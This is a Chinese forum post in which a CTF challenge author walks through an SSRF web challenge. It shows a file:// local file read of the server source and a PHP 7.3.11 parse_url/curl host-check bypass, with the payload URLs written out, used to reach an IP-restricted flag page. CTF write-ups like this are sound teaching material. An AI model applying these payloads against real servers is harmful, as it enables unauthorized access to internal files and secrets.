首页
社区
课程
招聘
[原创]2022 KCTF-WEB 出题思路
2022-5-1 20:30 8985

[原创]2022 KCTF-WEB 出题思路

2022-5-1 20:30
8985

打开首页显示(我打开的是测试页面)

查看源码得到两个个链接

http://101.89.140.207:8044/phpinfo.php phpinfo的信息,暂时不知道有什么用


http://101.89.140.207:8044/url.php?url=https://ctf.pediy.com/upload/team/762/team236762.png

感觉是请求了图片显示在页面,猜测可能有SSRF漏洞


测试http://101.89.140.207:8044/url.php?url=https://www.baidu.com

返回error,猜测可能限制了域名


测试http://101.89.140.207:8044/url.php?url=127.0.0.1/index.php

返回host is null,搞不清楚什么情况,试试读文件


http://101.89.140.207:8044/url.php?url=file:///proc/self/cwd/url.php

返回host is null


通过链接:view-source:http://101.89.140.207:8044/url.php?url=file://127.0.0.1/proc/self/cwd/url.php

成功读取到代码

<?php    
function curl_request($url, $data=null, $method='get', $header = array("content-type: application/json"), $https=true, $timeout = 5){    
   $method = strtoupper($method);    
   $ch = curl_init();//初始化    
   curl_setopt($ch, CURLOPT_URL, $url);//访问的URL    
   curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);//只获取页面内容,但不输出    
   if($https){    
       curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);//https请求 不验证证书    
       curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);//https请求 不验证HOST    
   }    
   if ($method != "GET") {    
       if($method == 'POST'){    
           curl_setopt($ch, CURLOPT_POST, true);//请求方式为post请求    
       }    
       if ($method == 'PUT' || strtoupper($method) == 'DELETE') {    
           curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method); //设置请求方式    
       }    
       curl_setopt($ch, CURLOPT_POSTFIELDS, $data);//请求数据    
   }    
   curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);    
   curl_setopt($ch, CURLOPT_HTTPHEADER, $header); //模拟的header头    
   //curl_setopt($ch, CURLOPT_HEADER, false);//设置不需要头信息    
   $result = curl_exec($ch);//执行请求    
   curl_close($ch);//关闭curl,释放资源    
   return $result;    
}    
$url=$_GET["url"];    
$uu=parse_url($url);    
$host=isset($uu["host"])?$uu["host"]:"";    
$scheme=isset($uu["scheme"])?$uu["scheme"]:"";    
if(empty($host)){    
	die("host is null");    
}    
if(empty($scheme)){    
	die("scheme is null");    
}    
//https://ctf.pediy.com/upload/team/762/team236762.png?    
if($host=="ctf.pediy.com"||$host=="127.0.0.1"||$host=="localhost"){    
  //echo curl_request("http://123.57.254.42/flag.php","get",[],true,5);//get flag    
  echo curl_request($url,'',"get",[],true,5);    
}else{    
  die("host not allow");    
}    
?>

原来是使用了curl,同时发现了一个新的被注释掉的地址http://123.57.254.42/flag.php 


这个地址访问应该就能得到flag,然而情况并没有这么简单,提示了IP错误,看来需要以我们这台服务器发起SSRF请求才能绕过这个限制


但是这里要检查host是否为ctf.pediy.com,127.0.0.1和localhost而这个host和scheme时通过parse_url函数得到的。

这里就需要用到phpinfo的提示了,这里显示php版本为7.3.11,其实经过测试,php7.3.12和7.3.11(其他版本未测试),在进行curl请求的时候,表现比较怪异


这样的请求,parse_url得到的host是ctf.pediy.com但是curl实际请求的又是127.0.0.1。这样就造成了一个SSRF漏洞。于是我们构造链接


http://101.89.140.207:8044/url.php?url=123.57.254.42://ctf.pediy.com/../flag.php


//flag.php.bak代码
<?php
$ip=$_SERVER["REMOTE_ADDR"];
if($ip=="101.89.140.207"){
  echo "flag{...}";
}else{
  echo "error ip";
}
?>


总结:以上curl_request的代码是从百度上搜索到的常用curl封装代码,apache+php7.3.11也是默认安装,而且即使是高版本的php,curl读取文件的问题还是存在,因此使用这样的默认封装代码是否安全有待商榷。


灵感来源于一次渗透过程中,数据库关键字段采用了AES加密,审计代码发现秘钥写在另外一个http://xxx.com/key的链接里面的,尝试访问提示IP错误,通过受控服务器访问成功获取到AES秘钥。





[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2022-5-17 12:04 被kanxue编辑 ,原因:
收藏
点赞4
打赏
分享
最新回复 (1)
雪    币: 26435
活跃值: (18462)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
kanxue 8 2022-5-9 12:03
2
0

第四题 飞蛾扑火   
flag{xxx_999()xx*@eeEEE}

最后于 2022-5-17 12:01 被kanxue编辑 ,原因:
游客
登录 | 注册 方可回帖
返回